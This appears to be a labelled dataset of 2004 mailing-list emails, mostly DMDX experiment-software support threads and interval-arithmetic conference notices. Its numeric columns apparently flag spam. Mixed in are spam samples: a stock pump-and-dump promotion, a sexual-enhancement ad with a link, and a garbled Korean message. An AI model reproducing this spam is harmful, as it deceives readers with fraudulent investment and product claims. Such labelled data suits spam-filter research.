interval@cs.utep.edu","Wed, 29 Sep 2004 20:15:29 -0600",Second R. E. Moore Prize to Be Awarded at SCAN'2004,"Second R. E. Moore Prize to Be Awarded at SCAN'2004 Thomas C. Hales from the University of Pittsburgh will receive the 2nd biannual R. E. Moore Prize for Applications of Interval Analysis, during the 11th GAMM-IMACS International Symposium on Scientific Computing, Computer Arithmetic, and Validated Numerics SCAN'2004 (Fukuoka, Japan, October 4-8, 2004). The R. E. Moore Prize was established in 2002 by the Editorial Board of Reliable Computing, an International Journal devoted to reliable mathematical computations based on finite representations and guaranteed accuracy. The 2004 R. E. Moore Prize is awarded to Professor Thales for his solution of the Kepler conjecture about the densest arrangement of spheres in space. Dr. Hales solved this long-standing problem by using interval arithmetic. His preliminary results appeared in the Notices of the American Math Society in 2000; his full paper ""The Kepler Conjecture"" will appear in Annals of Mathematics, one of the world leading journals in pure mathematics. The paper and the detailed proof can be obtained from the author's webpage www.math.pitt.edu/~thales The detailed information about the R. E. Moore Prize is attached. APPPENDIX The R. E. Moore Prize for Applications of Interval Analysis: Description and Rationale The idea of arithmetic over sets to encompass finiteness, roundoff error, and uncertainty dates back to the first part of the twentieth century or earlier. By the late 1950's, with exponentially increasing use of digital electronic computers for mathematical computations, interval arithmetic was a concept whose time had come. With his 1962 dissertation ""Interval Arithmetic and Automatic Error Analysis in Digital Computing,"" encouraged by George Forsythe, Prof. Ramon Moore was one of the first to publicize the underlying principles of interval arithmetic in their modern form. Prof. Moore subsequently dedicated much of his life to furthering the subject. This includes guidance of seven Ph.D. students, interaction with other prominent figures in the area such as Eldon Hansen, Louis Rall, and Bill Walster, and publication of the seminal work ""Interval Analysis"" (Prentice Hall, 1966) and its update ""Methods and Applications of Interval Analysis"" (SIAM, 1979). In addition, Prof. Moore published a related book ""Computational Functional Analysis"" (Horwood, 1985), and organized the conference with proceedings Reliability in Computing (Academic Press, 1988). This latter conference was a major catalyst for renewed interest in the subject. It is safe to say that these accomplishments of Professor Moore have made interval analysis what it is today. To continue and further this tradition, in 2002, we decided to dedicate to Prof. Moore a biennial prize for the best dissertation or paper in applications of interval analysis. Note: By ""applications"" we intend primarily applications in engineering and the sciences that will bring further recognition to the power of interval computations. However, we do not wish to rule out significant and widely recognized ""pure"" applications. The editorial board of the journal ""Reliable Computing"" will judge this. ",0,0 George fedal ,dmDX@psy1.psych.arizona.edu,"Wed, 29 Sep 2004 21:01:48 -0300",lysonax,"SPUR-M Formula You can increase sperm production 500% Blast 5x your load and have powerful most satisfying release. Complete satisfaction totally guaranteed by the industry leader - it is a money-back promise that has never been needed by any of our million customers! This is the secret recipe trusted by top adult-film stars for their huge effects! Copy and paste the following URL into your browser: http://guwim.com/sm/ qewynugytugxexovaqurilob ",1,1 Åse Innes-Ker ,DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 2004 10:14:44 +0200",[DMDX] Re: Running DMDX on computers that are set up in other languages,"Thanks. I'll check it out. (Think I did it wrong at my first attempt). Or, make myself use a button box, since that would be better anyway. Åse Åse Kvist Innes-Ker, Ph.D. Institutionen för Psykologi Lunds Universitet Box 213 SE-22100 LUND SWEDEN Tel: (+46) 046 222 3396 (Drop first 0 when calling from abroad) Fax: (+46) 046-222 4209 Mobile: 070 277 6579 ----- Original Message ----- From: ""j.c.f."" Date: Wednesday, September 29, 2004 5:34 pm Subject: [DMDX] Re: Running DMDX on computers that are set up in other languages > At 03:00 PM 9/29/2004 +0200, you wrote: > >I did find it, finally (the references). > > > >Looks like I can't use the left and right shift keys though, > because I > >can't get DMDX to recognize the swedish names (which are vänster > skift och > >höger skift, and I'm wondering if I have issues with the extra > >letters. It does fine with mapping keys that don't have the å ä > ö in it, > >like the spacebar). > > > If you use #keyboard you don't need names at all, you use the > global > numbers and DMDX by default will map the space bar +#57 and shift > keys +#42 > and +#54 for you. Regardless of language. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The time to repair the roof is when the sun is shining. > - John F. Kennedy > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Fri, 01 Oct 2004 14:42:17 +0200",[DMDX] recording with DMDX vs. other programs,"Hello again thanks for the previous response! here's another one: on my dell desktop i am using record vocal to get soundfiles at each subject's response (e.g. in picture naming). I get the recordings all right but they have background static noise (or something like that) around 47 dB. Now, if I switch off dmdx and record sound with another program (in this case : www.praat.org) then the recording is much better and i get background noise around an acceptable 30 dB. Any idea of why this could be so...? Of course I d love to have dmdx recording with the low background noise thanks again for your help ciao xavier ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 01 Oct 2004 10:28:30 -0700",[DMDX] Re: recording with DMDX vs. other programs,"At 02:42 PM 10/1/2004 +0200, you wrote: >Hello again > >thanks for the previous response! > >here's another one: on my dell desktop i am using record vocal to get >soundfiles at each subject's response (e.g. in picture naming). I get the >recordings all right but they have background static noise (or something >like that) around 47 dB. Now, if I switch off dmdx and record sound with >another program (in this case : www.praat.org) then the recording is much >better and i get background noise around an acceptable 30 dB. > >Any idea of why this could be so...? Of course I d love to have dmdx >recording with the low background noise Perhaps you could select another Direct Sound Capture driver in TimeDX. The one you maybe choosing may be summing a number of inputs whereas Praat maybe using something that's just using the MIC input. Perhaps you need to make sure all other recording inputs are muted if changing the device doesn't get it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. 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The main feature was the cross-disciplinary research > activity that included Mathematics, Computer science, Biology and the > different areas of engineering. > > More information can be found at: > > http://www.gtsav.gatech.edu/rec/recworkshop/ In particular, all lectures are available online! It was a very interesting workshop! Arnold Neumaier ",0,1 Marjolein Merkx ,DMDX@psy1.psych.arizona.edu,"Tue, 05 Oct 2004 14:02:58 +0100",[DMDX] Until response and after request,"I have just started using DMDX and am trying to create a masked priming experiment in which the target is shown until the subject responds. However, although responses seem to be recognised fine in the output file, neither the instructions nor the words go away after I have pressed the corresponding button. Instead, they remain on the screen for a set time. I have also been trying to use the delay parameter to put a delay in between the instructions and the task as well as between individual items in the task but no delay occurs. At the moment a sample of my experiment looks like this: $ 0 ""Press the right shift key if it is a word�, �and the left shift key if it is not"", ""Press the space bar to start""; $ +1 <% 100>�+� / <% 2> / <% 48>�###########� / <% 4>�CARROT� / <% 2> / <*>�wortel�; +2 <% 100>�+� / <% 2> / <% 48>�###########� / <% 4>�CAT� / <% 2> / <*>�poes�; +3 <% 100>�+� / <% 2> / <% 48>�###########� / <% 4>�COAT� / <% 2> / <*>�jas�; What have I done wrong? Regards, Marjolein Merkx",0,0 David Howard ,DMDX@psy1.psych.arizona.edu,"Tue, 05 Oct 2004 16:01:51 +0100",[DMDX] RE: Until response and after request,"Use instead of David ---------------------------- David Howard School of Education Communication and Language Sciences University of Newcastle Newcastle-upon-Tyne NE1 7RU Tel: 0191 222 7451 Fax: 0191 222 6518 >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Marjolein Merkx >Sent: 05 October 2004 14:03 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Until response and after request > >I have just started using DMDX and am trying to create a >masked priming experiment in which the target is shown until >the subject responds. However, although responses seem to be >recognised fine in the output file, neither the instructions >nor the words go away after I have pressed the corresponding >button. Instead, they remain on the screen for a set time. I >have also been trying to use the delay parameter to put a >delay in between the instructions and the task as well as >between individual items in the task but no delay occurs. At >the moment a sample of my experiment looks like this: > > $ >0 ""Press the right shift key if it is a word"", > ""and the left shift key if it is not"", > ""Press the space bar to start""; $ >+1 <% 100>""+"" / <% 2> / <% 48>""###########"" / <% 4>""CARROT"" / <% 2> / >+<*>""wortel""; >+2 <% 100>""+"" / <% 2> / <% 48>""###########"" / <% 4>""CAT"" / <% 2> / >+<*>""poes""; >+3 <% 100>""+"" / <% 2> / <% 48>""###########"" / <% 4>""COAT"" / <% 2> / >+<*>""jas""; > >What have I done wrong? > >Regards, >Marjolein Merkx > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >",0,1 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Wed, 06 Oct 2004 18:31:58 +0100",[DMDX] Scrambling block size,"Quick scrambling question for you, folks... Say I have a block size parameter of 6, but 20 items in my script, what happens? Does DMDX take the first 18 items and divide them into 3 blocks of 6, and then treat the remaining 2 items as a block in its own right? Looking at my scrambled.itm file, this would appear to be the case, but I'd appreciate confirmation from anyone who knows... Thanks! Stuart. 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After the ""if"" statement has executed, then we know for sure that if x=1, then A was true, and if x=0, then A was false. That is, (x=1) => A I call the former ""causal implication"", while the latter is ""logical implication"". The latter is how us formal folks are supposed to think. :-) But it confused the hell out of me when I learned it as an undergrad. - Wayne ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Oct 2004 11:52:15 -0700",[DMDX] Re: Scrambling block size,"At 06:31 PM 10/6/2004 +0100, you wrote: >Quick scrambling question for you, folks... > >Say I have a block size parameter of 6, but 20 items in my script, what >happens? Does DMDX take the first 18 items and divide them into 3 blocks >of 6, and then treat the remaining 2 items as a block in its own right? Yep. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. Holden ",0,0 Colby Gutierrez-Kraybill ,linuxusers@astron.berkeley.edu,"Wed, 06 Oct 2004 14:14:57 -0700",Embedded Linux Development Systems," http://linux.slashdot.org/article.pl?sid=04/10/06/ 1243213&mode=nocomment&tid=222&tid=106 Anyone trying to develop telescope control systems might wanna take a look at these... - Colby ",0,1 Garry Thorp ,DMDX@psy1.psych.arizona.edu,"Wed, 06 Oct 2004 18:12:12 -0500",[DMDX] Re: Scrambling block size,"I'm not sure that the remaining 2 items are treated as a BLOCK, so they may not be 'scrambled'. ----- Original Message ----- From: Stuart Bell Date: Wed, 06 Oct 2004 18:31:58 +0100 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Scrambling block size > Quick scrambling question for you, folks... > > Say I have a block size parameter of 6, but 20 items in my script, what > happens? Does DMDX take the first 18 items and divide them into 3 blocks > of 6, and then treat the remaining 2 items as a block in its own right? > > Looking at my scrambled.itm file, this would appear to be the case, but > I'd appreciate confirmation from anyone who knows... > > Thanks! > Stuart. > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- _______________________________________________ Find what you are looking for with the Lycos Yellow Pages http://r.lycos.com/r/yp_emailfooter/http://yellowpages.lycos.com/default.asp?SRC=lycos10",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 06 Oct 2004 18:55:28 -0700",[DMDX] Re: Scrambling block size,"At 06:12 PM 10/6/2004 -0500, you wrote: >I'm not sure that the remaining 2 items are treated as a BLOCK, so they >may not be 'scrambled'. Partial blocks are blocks and are scrambled. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ How you look depends on where you go. ",0,0 Marjolein Merkx ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 15:11:19 +0100",[DMDX] Re: RE: Until response and after request,"Thank you for the advice. That seems to have solved the problem. thanks again, Marjolein >>> David.Howard@newcastle.ac.uk 10/05/04 16:04 PM >>> Use instead of David ---------------------------- David Howard School of Education Communication and Language Sciences University of Newcastle Newcastle-upon-Tyne NE1 7RU Tel: 0191 222 7451 Fax: 0191 222 6518 >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Marjolein Merkx >Sent: 05 October 2004 14:03 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Until response and after request > >I have just started using DMDX and am trying to create a >masked priming experiment in which the target is shown until >the subject responds. However, although responses seem to be >recognised fine in the output file, neither the instructions >nor the words go away after I have pressed the corresponding >button. Instead, they remain on the screen for a set time. I >have also been trying to use the delay parameter to put a >delay in between the instructions and the task as well as >between individual items in the task but no delay occurs. At >the moment a sample of my experiment looks like this: > > $ >0 ""Press the right shift key if it is a word"", > ""and the left shift key if it is not"", > ""Press the space bar to start""; $ >+1 <% 100>""+"" / <% 2> / <% 48>""###########"" / <% 4>""CARROT"" / <% 2> / >+<*>""wortel""; >+2 <% 100>""+"" / <% 2> / <% 48>""###########"" / <% 4>""CAT"" / <% 2> / >+<*>""poes""; >+3 <% 100>""+"" / <% 2> / <% 48>""###########"" / <% 4>""COAT"" / <% 2> / >+<*>""jas""; > >What have I done wrong? > >Regards, >Marjolein Merkx > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Paola (Giuli) Dussias ----------------------------------------- Paola Giuli Dussias Assistant Professor of Spanish and Linguistics The Pennsylvania State University Department of Spanish, Italian and Portuguese 211 Burrowes Building University Park, PA 16802 U.S.A. Phone: (814) 865.1122 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 10:15:14 -0700",[DMDX] Re: ,"At 12:35 PM 10/7/2004 -0400, you wrote: >Hi, > >We are trying to install DMDX on a Dell Optiplex GX400 desktop (running >Windows NT), and we run the Sound Latency Test, we get the following >message: > >""Signals strengths indicate this test is likely to fail, 0.19% ambient >should be much less than the 0.11% tone signal."" (naturally, the values >change >everytime we run the test, but the message remains essentially the same). Does >anyone know how to fix this? If you don't want to use audio stuff ignore it. Otherwise if you don't want to use an external pre-amplitfier for the microphone and using the sound card's LINE input instead of it's MIC input you'll have to think about a new sound card or new computer. It's faintly possible that a better microphone or a powered one will fix the problem without an external pre-amplifier. Personally I'm impressed the sound stuff works at all under NT to tell you the truth. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. Holden ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 10:23:19 -0700",[DMDX] Re: ," I suppose you have set the sound card up the way test documentation states that it should be set up? Some cards need the output strapped to the input for this to work. At 10:15 AM 10/7/2004 -0700, you wrote: >At 12:35 PM 10/7/2004 -0400, you wrote: >>Hi, >> >>We are trying to install DMDX on a Dell Optiplex GX400 desktop (running >>Windows NT), and we run the Sound Latency Test, we get the following >>message: >> >>""Signals strengths indicate this test is likely to fail, 0.19% ambient >>should be much less than the 0.11% tone signal."" (naturally, the values >>change >>everytime we run the test, but the message remains essentially the same). >>Does >>anyone know how to fix this? > > If you don't want to use audio stuff ignore it. Otherwise if you don't > want to use an external pre-amplitfier for the microphone and using the > sound card's LINE input instead of it's MIC input you'll have to think > about a new sound card or new computer. It's faintly possible that a > better microphone or a powered one will fix the problem without an > external pre-amplifier. Personally I'm impressed the sound stuff works > at all under NT to tell you the truth. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Hell is paved with good samaritans."" > - William M. Holden > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. Holden ",0,1 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 10:29:47 -0700",[DMDX] RE: ,"Giuli, Is it an option for you to switch to Windows XP? We never expected DMDX to run under NT. --Ken > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of Giuli Dussias > Sent: Thursday, October 07, 2004 9:35 AM > To: DMDX@psy1.psych.arizona.edu > Subject: > > Hi, > > We are trying to install DMDX on a Dell Optiplex GX400 desktop (running > Windows NT), and we run the Sound Latency Test, we get the following > message: > > ""Signals strengths indicate this test is likely to fail, 0.19% ambient > should be much less than the 0.11% tone signal."" (naturally, the values > change > everytime we run the test, but the message remains essentially the same). > Does > anyone know how to fix this? > > Thanks. > > Paola (Giuli) Dussias > > ----------------------------------------- > Paola Giuli Dussias > Assistant Professor of Spanish and Linguistics > The Pennsylvania State University > Department of Spanish, Italian and Portuguese > 211 Burrowes Building > University Park, PA 16802 > U.S.A. > Phone: (814) 865.1122 > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 Giuli Dussias ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 14:04:12 -0400",[DMDX] Re: RE:,"Ken, Yes, it is. I will have to do it after reading Jonathan's reply to my message. Thank you very much! G. On Thu, 07 Oct 2004 10:29:47 +0000, ""Kenneth Forster"" wrote: > Giuli, > > Is it an option for you to switch to Windows XP? We never expected > DMDX to run under NT. > > --Ken > > > > -----Original Message----- > > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > > owner@psy1.psych.arizona.edu] On Behalf Of Giuli Dussias > > Sent: Thursday, October 07, 2004 9:35 AM > > To: DMDX@psy1.psych.arizona.edu > > Subject: > > > > Hi, > > > > We are trying to install DMDX on a Dell Optiplex GX400 desktop (running > > Windows NT), and we run the Sound Latency Test, we get the following > > message: > > > > ""Signals strengths indicate this test is likely to fail, 0.19% ambient > > should be much less than the 0.11% tone signal."" (naturally, the values > > change > > everytime we run the test, but the message remains essentially the same). > > Does > > anyone know how to fix this? > > > > Thanks. > > > > Paola (Giuli) Dussias > > > > ----------------------------------------- > > Paola Giuli Dussias > > Assistant Professor of Spanish and Linguistics > > The Pennsylvania State University > > Department of Spanish, Italian and Portuguese > > 211 Burrowes Building > > University Park, PA 16802 > > U.S.A. > > Phone: (814) 865.1122 > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > > ----------------------------------------- Paola Giuli Dussias Assistant Professor of Spanish and Linguistics The Pennsylvania State University Department of Spanish, Italian and Portuguese 211 Burrowes Building University Park, PA 16802 U.S.A. Phone: (814) 865.1122 ",0,1 Jason Barker ,DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 11:46:25 -0700",[DMDX] Re:,"Quoting Giuli Dussias : > ""Signals strengths indicate this test is likely to fail, 0.19% ambient > should be much less than the 0.11% tone signal."" (naturally, the values > change > everytime we run the test, but the message remains essentially the same). > Does > anyone know how to fix this? I recently had the same problem (on an XP machine) and, for me, it turned out to be as simple as adjusting the sound parameters in windows. When you go to the volume controls for windows, it defaults to showing you the PLAYBACK options, not the RECORDING options. And so while it can look like you've got your Line-In/Microphone (whichever you are using) selected and turned all the way up, they might not actually be. Go to 'properties' and select the 'recording' volume controls and set them accordingly. Not sure if this will be relevant given the NT issue though. good luck. -j > Thanks. > > Paola (Giuli) Dussias > > ----------------------------------------- > Paola Giuli Dussias > Assistant Professor of Spanish and Linguistics > The Pennsylvania State University > Department of Spanish, Italian and Portuguese > 211 Burrowes Building > University Park, PA 16802 > U.S.A. > Phone: (814) 865.1122 > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- Jason Barker, PhD Post-Doctoral Fellow Depts. of Psychology and Cognitive Science University of Arizona e-mail: jbarker@u.arizona.edu phone: 520-621-2172",0,1 Robin Nusslock ,dmDX@psy1.psych.arizona.edu,"Thu, 07 Oct 2004 14:21:58 -0500",[DMDX] Time Out Switches,"A few weeks ago I posted a question to the list serve on whether time out switches can take a counter as a value rather than an integer value. I was informed that in DMDX's current form, time out switches cannot take a counter as a value, but that I could sponsor a change to DMDX so that it could perform this function. If this is still an option, I would like to sponsor this change. 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Wang"" ","Fri, 08 Oct 2004 01:08:30 -0400",My report for 'Week#1_Oct_2004'..,"Dear Dr.Wang, Here is a recap of my progress for this week, and what has been done so far: - Adding new question/Assessment (including images), (this is done). - View/Del/Edit any question, (this is done). - Rename/Delete/View any Assessment, (this is done). - Import/Export any question(s) of teacher's database from and to the school database, (this is done). - A new link 'Process/Display' has been added for each teacher's Assessment so the teacher can choose any of three display options (By): 1) A given order only, OR 2) All questions/options are in Random order, OR * 3) Random questions, Non-Random options. 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The corresponding form is available on the workshop webpage http://cca-net.de/rnc6/ The conference fee is 120 Euro. Accommodation is offered by the Dagstuhl Center for 80 Euros per day (including all meals). Traveling information are available on the following websites: http://www.dagstuhl.de/TravelInfo/index.en.html http://www.dagstuhl.de/TravelInfo/WorkshopGuest/index.en.html ",0,1 Michelle Givertz ,DMDX@psy1.psych.arizona.edu,"Tue, 12 Oct 2004 13:37:52 -0700",[DMDX] Re: displaying multiple words horizontally,"Thanks. This worked well as far as displaying multiple lines of output, but seems to have altered the item display duration. I had specified the (1.5 seconds), but adding the code as suggested makes the items display for a fraction of that time. Any suggestions? Quoting ""Jonathan C. Forster"" : > At 04:01 PM 10/11/2004 -0700, you wrote: > >Hello. I am attempting to create a script and I need to display > words > >multiple words horizontally or in a stacked fashion. For example: > > > >cushion > >cushion > >cushion > > > >Any thoughts on how I might accomplish that? > > The comma frame separator merges two frames and the @ frame option > allows you to have multiple lines of output so you want > > +1 ""cushion"" @-1, ""cushion"" @0, ""cushion"" @1 *; > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Hell is paved with good samaritans."" > - William M. Holden > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Michelle Givertz, Ph.D. Research Specialist, Senior Department of Psychiatry University of Arizona (520)626-8568",0,1 �踸�� ,reliable_computing-outgoing@interval.louisiana.edu,"Tue, 12 Oct 2004 17:43:56 +0200",�ڡڡڡڡ� �ѹ� �ۼ����� 5 0 0 0 �� ������ �� �� �� �����մϴ�. �ڡڡڡڡ� . gug gsewjgryc,���� ���� gpipxtlcy,1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 12 Oct 2004 16:53:54 -0700",[DMDX] Re: displaying multiple words horizontally,"At 01:37 PM 10/12/2004 -0700, you wrote: >Thanks. This worked well as far as displaying multiple lines of output, >but seems to have altered the item display duration. I had specified >the (1.5 seconds), but adding the code as suggested makes the >items display for a fraction of that time. Any suggestions? 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Oct 2004 11:25:55 -0700",[DMDX] DMDX 3.1.0.0,"A new era opens today with DMDX gaining the ability to handle 2D inputs -- hence the big ol' version number change. 2D Input Device Keyword <2DInputDevice text1 text2,N1,N2,N3,N4 [...]> <2Did text1 text2,N1,N2,N3,N4 [...]> Parameter to select an input device as 2D input, ie a touch screen. text1 must be the name of an existing installed DirectInput device that has been calibrated by the TimeDX input test (unless it's ""mouse"", see below). Once a device is selected there is no way to deselect it without starting a new item file which can be done with the chain keyword, you can however unmap all the devices' buttons with . Names with spaces in them must be in quotes. text2 is the arbitrary name for a region on the screen that will generate a response of that name (with added + and - symbols when hit or released) where N1 is the left most coordinate of the region, N2 the top most, N3 is one more than the right most and N4 one more than the bottom (ie, a standard windows RECT structure). text2,N1,N2,N3,N4 will need to be repeated for each possible region of the screen that will be used as an input throughout the whole item file. N1,N2,N3,N4 can be real as per the graphics keywords assuming a video mode has already been specified. If regions overlap the first defined region that matches is used. In the following example even though the bottom input (specified in absolute coordinates whereas the others are fractional merely for demonstrative purposes) is totally overlapped it still catches touches in the bottom third of the screen: <2did ""magic touch usb"" bottom,0,512,1024,768 left,0,0,.5,1 right,.5,0,1,1> There is one special device name for 2D input and that is ""mouse"". This device doesn't connect to any DirectInput device nor does it need calibration in TimeDX (not that you could calibrate the mouse anyway as it has relative axes and the calibration routines only handle devices with absolute axes). Instead it taps into the windows mouse messages, both left and right clicks generate the same button press. Because they are windows messages timing isn't going to be real accurate but as far as I can tell the whole pointing paradigm is alien to RTs in any event. It also turns the cursor on, it's kinda hard to use a mouse to point at things unless there's a cursor... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All things are possible except skiing thru a revolving door.",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 14 Oct 2004 14:28:08 -0600",last chance: special IMACS session of interest to interval researchers,"Dear Friends, Professor Rene Alt from University of Paris 6 is organizing a special session on Computer Arithmetic and Validated Numerica at the The 17th World Congress of the International Association for Mathematics and Computers in Simulation IMACS'2005, Paris, France, July 11-15, 2005 http://imacs2005.ec-lille.fr If you are interested in participating, today and tomorrow is the last chance. Abstracts are due by October 15. Send them by email to Rene.Alt@lip6.fr ",0,1 Wayne Hayes ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu, Rene.Alt@lip6.fr","Thu, 14 Oct 2004 20:36:52 -0400",Re: last chance: special IMACS session of interest to interval researchers,"On Thu, Oct 14, 2004 at 04:28:08PM -0400, Vladik Kreinovich wrote: > If you are interested in participating, today and tomorrow is the last chance. > Abstracts are due by October 15. Send them by email to Rene.Alt@lip6.fr Actually, I just tried submitting an abstract and it told be submissions are already closed. It is now Oct 15th in France (8:30pm Oct 14 on the East coast of North America), so maybe they meant the beginning of Oct 15 was the deadline... - Wayne ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu, Rene.Alt@lip6.fr, wayne@cs.toronto.edu","Thu, 14 Oct 2004 19:29:16 -0600",Re: last chance: special IMACS session of interest to interval researchers,"Send to Rene Alt not to the webpage. His email is Rene.Alt@lip6.fr > Date: Thu, 14 Oct 2004 20:36:52 -0400 > From: Wayne Hayes > To: reliable_computing@interval.louisiana.edu, interval@cs.utep.edu, Rene.Alt@lip6.fr > Subject: Re: last chance: special IMACS session of interest to interval researchers > Mime-Version: 1.0 > Content-Disposition: inline > User-Agent: Mutt/1.4i > > On Thu, Oct 14, 2004 at 04:28:08PM -0400, Vladik Kreinovich wrote: > > If you are interested in participating, today and tomorrow is the last chance. > > Abstracts are due by October 15. > Send them by email to Rene.Alt@lip6.fr > Actually, I just tried submitting an abstract and it told be submissions are > already closed. It is now Oct 15th in France (8:30pm Oct 14 on the East coast > of North America), so maybe they meant the beginning of Oct 15 was the deadline... > > - Wayne",0,0 443d <0xfr8t@ey.com>,DMDX@psy1.psych.arizona.edu,"Fri, 15 Oct 2004 08:59:13 +0800",watch this stck trade Thursdayday [STCK REPORT Thursday] Bernet manifolds,"GAPJ- GOLDEN APPLE OIL/GAS Current Price: $ 0.60 Short Term Price: $ 1.50 3 Month Price: $ 4.50 Before we start with the profile of GAPJ we would like to mention something very important: There is a Big PR Campaign starting on today. And it will go all week so it would be best to get in NOW S T R O N G B U Y R E C O M M E N D A T I O N B U Y N O W Current Press Release Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. 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GET IN NOW, DO""NT REGRET LATER diverting USAF Riga bounty's gospels enshroud encouraged Bernet Samoa Formica dusting Beograd hoariness alkane discuss daemons gathers attained Riga demitting abject gluey apprentice manifolds inconvertible kiloton cashiers ",1,0 Markus Neher ,reliable_computing@interval.louisiana.edu,"Fri, 15 Oct 2004 09:43:40 +0200",Deadline extended (Re: last chance: special IMACS session of interest to interval researchers),"Wayne Hayes wrote: >On Thu, Oct 14, 2004 at 04:28:08PM -0400, Vladik Kreinovich wrote: > > >>If you are interested in participating, today and tomorrow is the last chance. >>Abstracts are due by October 15. Send them by email to Rene.Alt@lip6.fr >> >> > >Actually, I just tried submitting an abstract and it told be submissions are >already closed. It is now Oct 15th in France (8:30pm Oct 14 on the East coast >of North America), so maybe they meant the beginning of Oct 15 was the deadline... > > Latest news: The deadline has been extended to November, 5. Please note that there is also a session on *Taylor Models and Interval Arithmetic organized by me which is of a certain interest to interval researchers ;-) *Markus ",0,0 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Fri, 15 Oct 2004 11:17:28 +0100",[DMDX] Re: DMDX 3.1.0.0,"Dear Jonathan, I imagine my views are echoed by many, but thank you very much for adding support for touchscreen devices into DMDX. I think there are a number of us who, had the funds been available, would have gladly helped to sponsor such a change, and I'm certain that it will prove extremely useful 